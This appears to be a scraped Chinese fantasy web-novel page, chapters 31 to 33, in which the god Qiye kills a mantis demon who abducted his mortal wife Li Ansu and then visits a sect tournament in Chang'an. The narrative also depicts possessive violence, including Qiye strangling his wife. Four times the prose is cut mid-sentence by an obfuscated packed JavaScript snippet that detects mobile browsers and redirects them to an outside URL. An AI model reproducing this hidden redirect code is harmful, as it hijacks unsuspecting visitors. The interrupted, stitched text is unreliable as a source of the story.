“崔老板……我是不嫌弃你,但我不可能和我夫君和离的。”李安素说出那两个字的时候心都在颤。 崔文秀一点一点逼近,“为什么呢?我看见你好多次都是一个人,你根本就没有夫君吧,我可以没名没分的,我愿意。” “咚。”桌上的烛火被李安素掀翻,火焰瞬间熄灭,房间一时间伸手不见五指。 “救命……”李安素声音颤抖,手指刮擦在木门上,“我求你……” 崔文秀眼中闪过一丝幽光,非人的眸子更添了一丝诡异,他蹲下来,“你好好想想,等想明白了,我就让你回去,刚好,说不定你夫君会来找你。” 李安素深呼吸一口,猛然吸入了大量浊气,她头一歪,就睡了过去。 六界至东,是神界大门。金碧辉煌的神界大门重兵把守,众神仙今日聚集在此,为的是神界之主沂苍神君的寿诞。 他就跟在众神之后,像个寻常仙君一般走进去。 大殿之中,众神仙位列各坐,主座的神君沂苍神情肃穆,他起身看向阿全:“神君,您说衡玉神尊会来,可是真的?” 阿全点头:“会来,神尊向来言出必行。” 话是这么说,其实很多年前的岐晔也不是什么正人君子,若是真的食言而肥也没人敢说。 老神仙郑虚是第一个看见并认出岐晔的神仙,他拿酒杯的手猛然一抖,惊恐得半天说不出话。 他几乎爬出座位,跪下大喊:“衡玉神尊!” 这一声招来所有神仙注目,为数不多的老神仙们匆匆跪下行大礼,后生们也跟着跪下,眼睛却咕噜咕噜地转动,好奇地偷偷往那个方向看去。 却见走出来的不是金光闪闪的佛陀,只是个普通男子模样。 男人身形挺拔却不魁梧,一身清冷的素色长衫自带神气,一张俊美的脸庞却被金绫遮住双眼,金绫下方一张薄唇不点而红。 当年神魔大战,衡玉神尊为封印大魔头失了一双善恶眼,干脆也不再用肉眼看世人。 “神……神尊!您怎会大驾光临!”沂苍神君惊愕得半天说不出话,连忙起身迎接。 岐晔只是点点头,既然已经被认出也就没有必要遮掩,他施法轻轻跃起,坐上了神殿之中的金座。 盘古开天辟地后,自己就献身天地。留下的是满目疮痍的六界,六界云气混乱,是初代佛陀陌胥诞生拯救苍生,六界拥护佛陀成为六界之主,后来陌胥消亡,但金座永远为佛陀留着。 岐晔坐上金座的一瞬间,神殿之上的万古慎钟发出悠远的鸣响,众神仙向佛行礼。 万古慎钟已经一万年没有响起,这一响起便久久不散,直至六界共鸣。 “参见神尊!”众神仙行三拜九叩之礼,在大殿里齐刷刷跪下。 岐晔虽看不见,但也不妨碍他用神识感受,他轻轻颔首:“都起来吧。” 岐晔静默了一会,开口:“我今日来,是为了魔族之事。” “近日我感知到万灵江魔气异动,恰逢魔族千年祭天大典,当年封印安愫因云气不祥,并不牢固。” “现在把守万灵江的神族将领是哪位?” 郑虚拱手回答:“回衡玉神尊,是海龙一族的姬玄武。” “姬玄武把守万灵江封印失职,按六界现行条例,应如何判处?” 这回神君哆哆嗦嗦地回道:“回神尊,应判处剥夺神籍,打入凡间一千年。” 岐晔点头,觉得没有什么不妥,“那就这么办。” 下面跪着的海龙王已经一把老骨头,额上的汗止不住地淌。莫说他儿子那样不学无术还没天赋的,就是天赋异禀的后生去修炼,少说也要上万年。 “为防止安愫重新作乱,这段时间多派人去魔族探风,另外,要多派神族士兵把守,修为高者主动加固封印。” “神君没有什么意见吧。”久久没有听见回答,岐晔又问:“沂苍?” “没!没有什么问题,就照、照神尊指示的。”神君弯下腰去,半个“不”字都不敢说,“神尊您现在正是颐养天年的时候,收徒——” “走了。”岐晔起身,直接将沂苍甩在身后。 本以为今天的寿宴就这么变成了天界的公事汇报,但是岐晔说了几句话后就起身,甩下一众想追上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“爽吗?”岐晔看向他们,脸在笑,眼睛却是冷的。 “不敢了……不敢了!”几个神族少年开始求饶,可疼痛没有停止,“你到底是神还是魔啊?” 岐晔背着手走过去:“你们在叫什么?我没有动手。” 神族少年们连滚带爬地离开了,只留下地上的魔族人,他刚抬头,岐晔就头也不回地离开了。 回到小屋子里,实际上岐晔不会把这样的地方叫做自己的家,但这个地方有李安素,他就又耐心一遍又一遍地做饭、洗衣服。 可空荡荡的屋子一个人都没有,连被子都没有打开的痕迹。 他站在屋子里,看向四周,李安素的气息已经几不可闻,空气中还有一股催情香。 为了一个螳螂精,她竟然一天没有回来。 他不去管那螳螂精只是因为她不会有危险,但如果为了别的人对他冷淡,他半点也忍不了。 岐晔压抑着怒火,扫过墙边靠着的天阳一字伞,静悄悄的,没动。 “呵。”他笑了声,“这才多久,连我都不听了?” 窸窸窣窣的声音响起,桌上放着的纸张被掀起,天阳一字伞腾空,乖乖回到了岐晔手里,不过有些不情不愿。 他垂眸,还记得刚开始的时候,它不愿意待在李安素身边,现在却被反窜了。 “走了,你也该去做点正事了。” 31. 不是凡人 长安城最繁华的街道,到了夜里就寥无人迹。正是夜里子时,一天之内阴气最重的时候,脚步声突兀地响起。 一下一下的梆子声从不知哪个犄角旮旯传出,打更人看见岐晔时,吓了一跳:“喂,宵禁了,还不回去?” 打更人皱眉,缓缓走近,眼前忽然升起一团白烟,再一睁眼,面前空无一人。 岐晔最终停在这条街的一处房屋前,他一字一句地念了出来:“文秀胭脂铺。” “吱呀——”当他说完,屋门也应声而开,里面传出更浓郁的香气。 不过与白日不同,这香味不只有香气,还有一丝腐烂的臭气。岐晔走进去,一个空的胭脂盒就朝着他的面门冲了过来。 岐晔双手握伞,把伞撑了起来,瞬间,那胭脂盒化成了齑粉。 他松开手,伞就跟在自己身边。他脚下似乎踩到了什么东西,“咔哒”一响,是一节骨头。 再一看,角落里,一个男人的头被放在桌上。 他环视一圈,看向屋子正中央的人,是昏睡的李安素,有手有脚,也没有受伤。 岐晔走近,下一刻,眼神环绕起一阵绿气,妖的声音响起:“来呀……来呀……” “李安素”的身体也消失在眼前,只剩下一片空地,房间的四周无限延展,幻化成了一道具体的身影在眼前。 熟悉的气息萦绕在鼻尖,岐晔闭了闭眼睛。 一个女人的身影在眼前亮起,转身,“李安素”冲他歪头笑了笑,“夫君……你来啦。” 岐晔没动,“嗯,我接你回去。” “李安素”羞涩一笑,趴在岐晔身边,刚要吻上去,却看见了一把骨头。 岐晔抬手,手里攥着一根肋骨,还带着幽绿的血液,是她自己的。螳螂精身体却已经被掏空,她脸上带着不知是痛苦还是享受的表情,轰隆倒在地上。 “额……”崔文秀瞪大了眼睛,眼前的温馨还没有持续片刻,就已经打回了原形,“你是怎么……” “学得挺像的。”岐晔冷嗤一声,低头看着脚边的人,“人呢,交出来。” 原本干净的环境消失,成了漆黑潮湿的房间,面前伸手不见五指,同时卷起了一阵狂风。 “装神弄鬼。”岐晔抬手,向着黑暗处一掐,直接抓下来一个人。 “啊!”李安素摔在地上,刚要说话,就被岐晔提着领子拉近。 他疑心重,只要被欺骗了一次就不会再轻易相信,即便眼前这个人哪里都像他的娘子。一双眼睛紧紧盯着她,只要露出一点破绽,他的手就会直接穿过她的心脏。 即便就这样错杀了她,也不错,岐晔这样想着。 李安素满头大汗,用力挣扎起来,可面前的人一动不动。 “岐晔!岐晔……!”她的双脚腾空,被死死掐着脖子,面色通红,“放开我!” 她也带着怒火,一巴掌甩上去,发出好大一声响声。 岐晔顿了顿,手指揩过她唇角溢出的水渍,另一只手点了点她的胸口:“该杀。” 李安素:“……!” 她怕得浑身发抖,她从没见过岐晔这样子,眼中都是狂暴,连她也不认识,尽管没伤害她,可她就是害怕。李安素用力吞下口中的唾液,“救命……” “唰——”一声响在耳边炸开,李安素的四肢垂下,被伞面顶起来,离开了岐晔身边。 他拧眉:“回来!” 天阳一字伞不听他的,即便李安素身上乱七八糟的污渍弄脏了伞面,也坚持着把她带走。 岐晔沉住气,这把破伞是越来越不听自己的了。他伸出两根手指,抵住自己的手腕,雪白的肌肤瞬间划开一道口子,鲜血滴滴答答落在地上。 浓厚的仙气从血液中溢出来,将整个屋子淹没,妖气一窝蜂地涌上来。 “蠢。”岐晔勾唇,很快,那血幻化成了一把趁手的剑,他抓在手里,直接划过。 顷刻间,整个屋子轰隆倒下来,目之所及都被夷为平地。 崔文秀走出来,破破烂烂的身子已经维持不住妖怪的形状,他暴露在岐晔眼前,“你就是她的夫君?原来神族不是她,是你。” 岐晔没动,指着崔文秀:“坏人家庭,夺人爱妻。” “我不求名分,我只是喜欢她。”崔文秀毫不在乎,“做小也可以。” 岐晔挑唇:“我杀了你。” 下一刻,岐晔手里的剑直接成了好几十股浑厚的气,指着崔文秀,眼见着就要劈下去。 “不要!”李安素冲上来,刚缓过一口气,她脸色还苍白着:“崔老板是好人,没有滥杀无辜,只是想要神族的血而已!” 李安素站在岐晔面前,被他的剑指着也毫不后退,她看见了自己夫君用法术,那法术甚至在归元宗长老之上。 “不要杀了他。” “让开,不然我连你一起杀。”岐晔冷漠道,“你以为你是谁?” 李安素抿唇,明明那么贪生怕死的人,在此刻却只有坚强,“我不,你要杀就杀了我。” “好。”剑光闪过,李安素眼前划过一片片的绿色藤蔓,那些绿色的藤蔓顺着长到自己身上。 崔文秀的血飙到她眼中,带来更多绿色,沉重的身子倒下来,连同整个屋子。 胭脂铺不堪重负,随着崔文秀的意志倒了下来。 他倒在李安素怀里,仰头看着李安素,“我只是想要被爱着……他不爱你,你答应我吧……” “崔老板!”李安素用力抓紧崔文秀,用力摇晃了几下。 崔文秀抬手,这才发现她浑身都是汗水,被吓的。 “你答应我吧……”崔文秀拧眉,缓缓闭上眼,倒在她膝盖上。 “……伞!伞!”李安素无助地看向四周,“你能救他是不是!?” 天阳一字伞无动于衷,它只是下意识保护李安素,要它救其他人根本就不可能,更何况这人是被岐晔的意志杀死的。 以血做剑,是执剑者下了必杀的决心,怎么可能留他一命。 “你出轨了。”岐晔淡声道,“跟我回去吧,我就当没发生。” “……我要和离。” “你说什么?”岐晔拧眉,是真的没听清。 “我要……和离!”李安素用力喊出来,甚至破了音,她瞪着岐晔,“我恨你!” 话还没说完,岐晔用力攥紧了李安素的领口,原本就被掐得发青的地方现在更加惊悚,疼痛层层覆盖,将底下的吻痕遮住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617510|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不准说这句话。” 李安素用力挣扎,疼得泪水砸在男人手上,天阳一字伞在一旁着急,却根本撼动不了他。 岐晔面无表情,只有颤抖的手能昭示他的情绪,他抿唇,抬手:“你先冷静冷静。” 浑厚的仙力将她包裹,李安素身子一软,被整个人包在他怀里,走了出去。 男人踩过一片碎渣的地板,上面的绿色血液令人眼花缭乱,岐晔拧眉,这个螳螂精应该原本就命不久矣,难怪要找神族的人。 他走出去没几步,迎面撞见了一个人,两人迎面相撞,岐晔挑起一边的眉毛。 般若是跑过来的,她那天就在螳螂精身上种了一道符咒,用来感知她的踪影,谁知道今天螳螂精死了。 “岐晔!?”般若一愣,看向他的怀里。 岐晔身形高大,把怀里的人遮了个七七八八,只有一双脚露在外面,沾着些血迹。 “你这是——” 话音刚落,岐晔已经抬脚走远了,看得出有些着急,连瞬移术都用上了。 天阳一字伞立刻跟上去。 般若环视一圈,螳螂精倒在地上,骨头已经散架了,她犹豫了一会儿,刚要上前。 “哗啦——”声音窸窸窣窣响起,一道仙力承载着螳螂精的身体,被岐晔收走了。 般若愣了愣,低下头,却见脚边几盒胭脂已经破了。 * 回到屋子里,岐晔先把人放在床上,擦干净了她的身子,尤其是那些绿色的血,看着就让人烦躁。 他低着头,紧盯着她,目光流连在她的脸上,低头在女孩的额头、脸颊、唇瓣吻了又吻,感受着她微弱的心跳,又喂了点仙力进去。 岐晔轻手轻脚地开门,走出去,却见崔文秀已经在门口等着了。 “你到底是谁?”崔文秀拧眉,双手交叉在胸前,看着缓缓走上前的岐晔,他憋着一肚子的气,却又动不了手。 他的肉身已经死了,现在威胁不了岐晔,只是眼中的愤怒毫不掩饰。 岐晔抿唇,“还不赶紧去投胎?” 一只手忽然打在崔文秀肩膀上,缓缓移开,冷经赋的脸出现在面前,“神尊大人,好久不见。” 岐晔意料之中,连点都不想点,“果然是你的人。” 冷经赋耸肩,露出一脸不怀好意的笑容:“这不是我的弟子吗,修炼不认真,中了毒,只能来找您了。” 崔文秀偏了偏头,看向房中,被岐晔挡了个大半,“不让我看?” 他看向岐晔,想不到这个人占有欲还挺强的,他清了清嗓子,转过身对冷经赋开口:“师父,我准备回去咯。” 人走之后,原地只留下了两个人面面相觑,岐晔半句话都不想多说,只想要转身往屋子里走,却被冷经赋叫住:“好一个神尊大人,躲着九重天那么多神仙不见,跑到这小小木屋里过起了长相厮守的小日子。” 岐晔脚步顿了顿,全然没有被激怒的意思:“你想说什么?” 冷经赋长叹一声:“哎——你这样做,就不怕她醒来之后要你的命?” 岐晔:“她只是个凡人而已。” 这话在冷经赋听来十分可笑,冷不丁开口说:“那安愫呢?” 32. 比武大会 “话说当年的神尊大人,那是一表人才,貌若潘安,玉树临风!”台上的说书人语调激昂,一口一个“神尊”,李安素也不禁转头看过来。 她悄悄看向岐晔,后者漫不经心地盯着菜单,“点一个烤乳鸽,夫妻肺片也要,还有东坡肉、金丝肉……” 岐晔一一打钩,垂眸盯着菜单上的菜,仿佛置身事外。李安素一直盯着,忽然开口说:“要是真的有神尊大人,我觉得他肯定比不过你。” 岐晔动作一顿,不经意间在纸上划出一条黑线。他抬头,顺着她的视线看向楼下。 那说书人恰好说到了神尊斩落敌军头颅的事情。这些事情一传十十传百,夸张了不少。世人口中的“神尊”早就和他本人没什么关系了。 “你很好奇?”他勾唇,招来了店小二。 李安素手指轻轻在桌上叩击,咂舌:“倒也不是……只是神尊离我太远了,我只看得见眼前的人。” 岐晔心一动,眨眼都迟缓了一点,可始作俑者全然不觉得自己的说法有什么不对劲。 店小二走近,微微低头,“二位客官,要吃点什么?” “东坡肉一份,金丝肉一份,烤乳鸽……”岐晔一字一句把李安素想吃的菜念出来,才抬起头。 店小二一愣,对上他的目光,手里的笔掉在了地上,“这位客官……您长得可真好看!” 岐晔没什么反应,继续说:“加一个炒青菜和汤。” 李安素托着下巴:“板栗饼、桂花糕、马蹄糕、红糖糕也要点。” “还要一个板栗饼就行。”岐晔说完,把菜单递给店小二,“你不能吃太多甜的。” 店小二缓缓转头看向坐在他对面的女子,心想着这样漂亮郎君的娘子应该也是温婉可人的,谁知道对上了李安素气鼓鼓的表情。 李安素不修边幅,刘海凌乱地撇着,未施粉黛,一双眼睛闪烁着狡黠的光芒。她和岐晔就点菜争吵了起来。 最后是岐晔退让一步,多加了一道甜菜。 等人离开后,李安素才发难,敲了敲桌子:“多加一个菜怎么了。” 岐晔依旧是那副样子,坐得端正,“你牙齿又疼了,可不要找我。” 李安素:“……” 她瞟了眼楼下的景象,探过头。底下不知何时坐着几桌有修炼底子的人,一个个穿着各派道服,她都不认得。 “哇塞,你看那个人!”李安素激动地站起来,“他身边的剑自己在动哎。” 岐晔:“只是剑灵而已。” 李安素欲言又止,看向岐晔,他一个教书先生,说人家修炼弟子“只是”? 李安素不死心,对于这种修炼之类的事情好奇得发狂,她趴在栏杆边上,“穿的衣服也好神奇。” 岐晔满不在意,只是修炼的道服罢了。这群弟子存了招摇过市的心,把这样的衣服穿出门难免会招来不必要的麻烦。 楼下那少年把自己的剑搁在桌上,走到了店小二身边,刚转过身来,就看见有人想要偷剑。 “你想干什么?”少年皱眉跑回自己的座位上,二话不说就驱动了自己的剑。那柄剑出鞘,在空中闪过一丝寒芒。 吓得想要偷剑的人摔在了地上。 李安素瞪圆了眼睛:“嚯!剑、剑自己出鞘了!” 岐晔清了清嗓子:“坐好。” 李安素看向岐晔:“你看见了没!?这比那神尊还厉害吧,这可是真的!” “神尊怎么就不厉害了?”岐晔睁开眼。 李安素挠了挠头,不等她回应,楼下的插曲有了新的变故。被偷剑的少年是独行,可酒楼里还坐着其他派别的弟子,纷纷站起来。 “敢在门派以外的地方出剑,你想被师父降罪了吧!”一个白发男人站起来。 “被偷剑的是我!”少年无辜地回应,脸色瞬间涨红,“同门被偷窃,不出手相助,甚至落井下石?!” “砰!”大堂里的桌子直接被这位少年掀翻了,在地上化作了碎片。他几乎是咆哮着,“要打一架吗!?” 他情绪极其不稳定,这一声将周围的人都喊住了,连台上说书的人都逃走了。 李安素张大了嘴,连忙往嘴里塞了一块板栗饼,“该不会要打架吧!” 她看向大堂里,视线敏锐地落到了角落里一个摇篮,里面甚至还有一个嗷嗷待哺的婴儿。 中央的修炼弟子只顾着争吵,任何声音都听不见。疾风瞬间在大堂内刮起来,年久失修的酒楼开始掉下碎木屑,在空气中发出“噼啪”声。 李安素拧眉,紧盯着那小婴儿。她抬头看向岐晔,后者立刻说:“不要去。” “岐晔,那孩子……”李安素犹豫着伸手。 “你我都是凡人,袖手旁观不是我们的错。”岐晔握紧了拳头,这一句话也是说给他自己听的。 李安素抬起的手又放下了。她僵硬着站在边上,酒楼内的人几乎都逃走了,只有楼上的人走不掉。 一楼,争吵已然升级。该说不说这群修炼的弟子是真的喜怒无常,李安素无言腹诽,又瞥了眼岐晔。 岐晔站在边上,紧紧抓着李安素的手,表情平淡无波,半点凡人该有的反应都没有。 “岐晔,我们怎么走啊。”李安素悄声说,她动了动自己的手,“你轻一点。” 岐晔像是才反应过来,赶紧放开了手,“先在这里待着。” “你们为什么要这么说!”一楼中央的弟子激动地跪在地上,看向偷剑未遂的那个男人,“是不是你?你是不是峨眉派来的人!” “我没有!没有……不是我!?饶命啊饶命啊!”男人连滚带爬逃到门边上,手刚碰到门就被疾风吹了回去。 “不是你?那就是你们!”少年双目通红,吼得声音嘶哑,“为什么,我什么都没有做!” 站在他对面的几个弟子愣了愣,他们都穿着不同的修炼道服,其中一个男人开口:“为了一句话就动怒,你们蜀山——” “我怎么样了和门派没关系!” 李安素看了眼岐晔,小声说:“什么门派?” “我听人说今天是比武大赛。” 那少年猛然看向二楼:“什么人!” 片刻后,一个男人走到栏杆边上,岐晔低头与那少年对视:“是我。” 少年瞪着岐晔:“下来!我让你下来!” 李安素屏住呼吸,看向那角落里已经奄奄一息的婴儿。趁着岐晔下楼的时间,她缓缓从另一边下楼,企图抱起小婴儿。 下一刻,一柄剑猛然刮到了自己脚边。她浑身一僵,盯着脚边。少年的声音从边上传来:“你也想害我!” 酒楼里,十几双眼睛骤然落在了李安素身上,她咽了咽唾沫:“呵呵……我不就是看见这孩子怪可怜的,就……” “你是谁!”少年以一种奇怪的角度跑了过来,几乎要扑到李安素脸上,却被一只手拉了回去。 岐晔:“别动她。” 这一碰,他更加紧张地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623490|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向李安素。这少年和他想的不同,看来不是简单的情绪不稳定。这人体温像是火烧一样高,眼中也闪着过分躁动的光。 “别理他,他就是个疯子……啊!”周围一个男人刚开口,一柄剑忽然刺入了他的小腿,他痛得倒在地上,“你竟然敢对我动手!?” 李安素抱紧了怀里的孩子,还企图和少年好好说话,却被他的眼神刺到。 “你们这样做……我很生气!”少年猛然发怒,他捂住自己的胸口,“全都在耍我……我要杀了你们!” 岐晔拧眉,挪到李安素身边,抱紧了她。他如今把自己的法力封印了,只留下魂魄还有庇护作用,只能用身体护住她。 这个少年不正常,说不出是被魔气还是妖气控制了。在外人看来只是发脾气,却给他一种极其熟悉的感觉。 “子修!你冷静一点!”酒楼大门口出现了一道身影。 一个白发苍苍的男人瞬间站在了少年面前,他并指点在少年肩膀上。 少年猛然沉默,低着头像是睡着了。 李安素惊恐得说不出话来,被岐晔护在怀里,好久之后才探出头去,“得救了……!” 岐晔拍着她的背让人平缓下来,“把孩子给我。” 他抱着孩子,看向那男人。这人身上一股浑厚的仙力,实力并不弱,还是蜀山的。 “真是不好意思,蜀山管教不严,才让他在外面乱来!”男人连忙低声道歉,“子修,快点道歉!” 子修这才睁开眼睛,痛惜地弯下腰,郑重道:“我、我不配修炼!是我错了,对不起!姑娘对不起!” 他一一鞠躬过去,最后停留在李安素面前,看见她被自己的法术伤到的手臂,“对不起!请收下这个!” 李安素摆摆手,惊魂未定:“没事……你冷静下来就好。” 岐晔抿唇,“你这样的,确实不适合修炼。” 子修死死低着头,一句话都不敢说。 白发男人像是子修的师父,他瞥了眼岐晔,怔愣在了原地——这个男人气质过于出众,可浑身半点仙力都没有。 他看着岐晔的脸,始终想不起来这号人。 “说得是啊,我这个弟子……有些特殊。子修,今日的静心诀还没有抄,还不回去?以后没有我的允许不要出门。” “是。”子修灰溜溜地跟在男人身后。 李安素看着子修的手臂,一滴一滴的血掉了一路,忍不住开口:“道长,你的手也受伤了。” “不用管。”峨眉派的弟子双手抱胸,声音悠悠响起。他蔑视般瞥着子修的背影,直到人消失在视线中。 “那人我早就见过了,蜀山的子修,七岁修炼就已经是蜀山同辈第一了,能把他当时的师父摁着打。” “只可惜,是个疯子,脾气比牛还大,我还听说……他上辈子被阴魂缠上了,所以时不时发疯。” “被阴魂缠上了?”李安素歪头,却见那弟子盯着自己。 “峨眉向来追求和平,姑娘,比武大会那天要不要来看?”那弟子忽然笑眯眯地靠近李安素。 岐晔反手就把人拉到自己身边,“不必了,我们只是凡人,恐被伤到。” “凡人也可以观战,我们峨眉派有护卫,只要没有刚刚那种疯子,就能保你们安然无恙。”那弟子行了个礼,“我叫钟信鸿,你好。” 刚走一个,又来一个,岐晔觉得烦躁,偏偏还不能不高兴。 他看向李安素,“你想去就去。” 33. 碧血剑派 走出酒楼,李安素仍有些忧心忡忡。将孩子交还给母亲后,她招了招手:“过来啊,站那么远做什么?” 岐晔漫不经心地跟上:“是不是没吃饱?” 李安素摇头:“吃饱了。只是……也不知道子修现在怎么样了。” 岐晔很自然地接过她手中的东西,两人并肩走在河堤边。长安城比小城镇热闹得多,夜幕降临,繁华才刚刚开始。 “你很担心?修真之人总有各种事务要处理,想太多也无济于事。”岐晔望向远处,公示板上贴满了比武大会的招贴,今年共有九个门派参加。 除却几个凑数的,最重要的当属蜀山、归元宗、峨眉、百炼门、狂澜道和碧血剑派。这些门派的名字都醒目地写在公示板上。 李安素一个个看下来,目光最终停留在“碧血剑派”上。她投去疑惑的视线:“这个门派的名字怎么被涂黑了?” 一道浓黑的墨迹横亘在碧血剑派名称上,在公示板上格外刺眼,像是有人故意为之。 “姑娘也来看比武大会啊?”一个过路人好心提醒,“这个门派可不是什么好东西,尽是些伤风败俗之辈。” 岐晔抿了抿唇,解释道:“这是个邪派,风评一向不好。” “是嘛……”李安素歪着头,“我倒是觉得,被所有人讨厌的反而更有意思呢!” 她眼睛弯成月牙,指着碧血剑派的名字:“我们明天就去看这个门派的比试!” 岐晔唇角微动,他怎么会不认得碧血剑派?这分明是安愫亲手建立的门派。 “你很感兴趣?”他低声问。 “对呀!碧血剑,光听名字就很厉害!不知道碧血剑长什么样子?” 岐晔缓步走在前面,声音随风飘来:“碧血剑什么都不是,是用世间最痛苦之物铸成的。如今门派里根本没人炼成过。” 李安素快步跟上,又叽叽喳喳问了许多关于修仙门派的问题。 待他们走远,藏在暗处的两个魔兵才现身。胖些的用胳膊肘碰了碰同伴:“你确定那是衡玉神尊?” 瘦得像竹竿的猴子精瞪大眼睛:“我见过那个姑娘!她和般若殿下在一起过!她到底是什么人?” “不就是个凡人吗?但岐晔怎么会给一个凡人提东西?”魔兵话音未落,就被敲了下脑袋。 “说你笨还真笨!他们一看关系就不简单!快回魔界禀报!” 两人不敢耽搁,匆忙返回魔界将此事报告给七凤。 “写好了?”李安素趴在桌上,仔细端详着写好的药方,小心翼翼地看着每一味药。 “嗯。当归后面是……”岐晔对照着另一张纸,缓缓蹙眉,“这是什么字?” 李安素脸一红,抢回自己的药方:“这是□□!我的字真有这么丑?!” 她气得直跺脚。近来总被顾客抱怨字迹难认,她只好提前请岐晔帮忙抄写几百份药方备用。 “□□?”岐晔端详着纸上歪歪扭扭的字迹,声音里带着笑意,“看出来了。不过是不是该倒过来看?” 李安素一愣,这才反应过来他在打趣自己,围着餐桌追打他,恼羞成怒:“岐!晔!” “汪汪汪!”阿旺兴奋地在桌边窜来窜去,险些跳上桌子,被岐晔及时拦住。 他轻笑一声,按着李安素坐下:“我先去做饭,你好好练字。” 李安素偏过头不理他,直到厨房传来切菜声,才轻轻踢了下阿旺:“你也滚!” 走出房门,岐晔看了眼脚边的“狗”,敢把噬灵兽当狗养的,恐怕六界之内也只有他们了。 “以后她打我时,别叫。” “汪!”阿旺不解地歪头,不懂为什么不让叫。 岐晔皱眉思虑片刻,拿着片白肉蹲下身,就是不给它吃,“不准叫。别学狗叫,你又不是狗。” “汪!” 噬灵兽的牙齿可以轻易咬碎神仙的骨头,现在却只会在地上打滚,这都是在李安素身边待久了害的。 他无奈地摇头,把肉放进盘子,一把按住阿旺摇晃的尾巴:“蠢狗。” 比武大会当日,李安素药铺的客人格外少。她无聊地坐在椅子上,看着行人匆匆而过,无人驻足。 忽然,一道阴影落在店门前:“有补气丸吗?” 李安素抬头,见是个身着锦衣、腰佩长剑的中年男子,连忙坐直身子:“有!有有!” 补气丸是最便宜的丹药,功效有限,男子却要全部买下。 “客官,这补气丸虽好,一日也不可多服。”李安素一边包装,一边好心提醒。 “凡人之躯,岂能与我等相提并论?”男子睨了她一眼,微微愣神——这个凡人倒是生得标致。 不等男子再开口,一个女子翩然而至:“师兄若想找死,尽管这般胡来。” 李安素打量着这一男一女,见他们身着相同服饰,都佩着剑。 “两位是来参加比武大会的道长吧?是什么门派的啊?”李安素好奇地插话,却被男子瞪了一眼。 “你一个凡人懂什么。”男子伸手要接药,李安素却灵活地缩回手。 “这位公子,我家的补气丸真的不能多服。若您不听劝,这药我不能卖。”李安素鼓起勇气与他对视。 男子眉心拧成“川”字,正要发作,同门师妹开口道:“姑娘提醒得是,还请把药给我们吧。” 李安素抿了抿唇,松开手,目送两人远去。 岐晔远远就看见李安素坐在椅子上发呆。扫了眼药铺,发现药材少了许多:“不开心?” 李安素回过神,见是岐晔,长舒一口气瘫在椅子上:“你来了啊。快收拾一下,比武大会要开始了。” 岐晔弯腰整理药材,状似无意地问:“打算去看哪个门派的比试?” 李安素皱眉,用秤杆轻敲桌面:“看谁都行,反正就是凑个热闹。” 她晃着双脚,打了个哈欠:“这些修真者大多心高气傲。不过也不是都这样,昨天那个钟信鸿就还不错——啊!” 岐晔突然推了下椅子。李安素随着摇晃的椅子猛地坐直,怒道:“岐晔!你这混蛋!” 她慌忙稳住椅子,方才差点摔下去。 “不要轻信外人。”岐晔抿紧嘴唇。 李安素反问:“那你呢?” 岐晔身形一滞,端着药盘久久没有转身。他放下手中物件,俯身走到李安素面前。 “哎……?怎么……”李安素怔怔地对上那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630691|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双深邃的眸子。他一眨不眨地凝视着她,仿佛要将她的模样刻进脑海。 “我永远不会欺骗你。”岐晔垂下手,紧紧握住她的,“只要你一直是李安素。” 李安素。 她的心跳漏了一拍,不自觉地加快眨眼频率,掩饰着那份心悸,“我、我当然是李安素。” 收拾妥当,关上店门,二人并肩走向比武会场。 长安城不仅是华夏都城,更是修真门派的聚集地。五年一度的比武大会,是修真界最隆重的盛事。 适逢庙会、灯会同期举办,李安素拉着岐晔逛遍长安街市,零零散散尝了不少小吃。 遇到不合口味的,她就说是专门留给岐晔的,自己独享美味。 “给你,这个糍粑很好吃。”李安素递过自己吃剩的点心。 岐晔低头接过,面不改色地吃着她吃剩的糍粑,他向来吃相干净,这次却迟钝了些,李安素忍着笑凑近:“好吃吗?” 糍粑入口甜腻冰凉,粘牙得很,他不由皱紧眉头:“你觉得这个好吃?” 李安素点头:“是啊,不好吃吗?” 她疑惑地凑近,见岐晔紧锁的眉头,忍不住“噗嗤”笑出声:“哈哈哈……” 岐晔有时反应迟钝,愣了片刻才明白她在捉弄自己。 “你的表情……哈哈哈……”李安素笑得前仰后合,却被一把扣住手腕拉了过去:“哎……!” 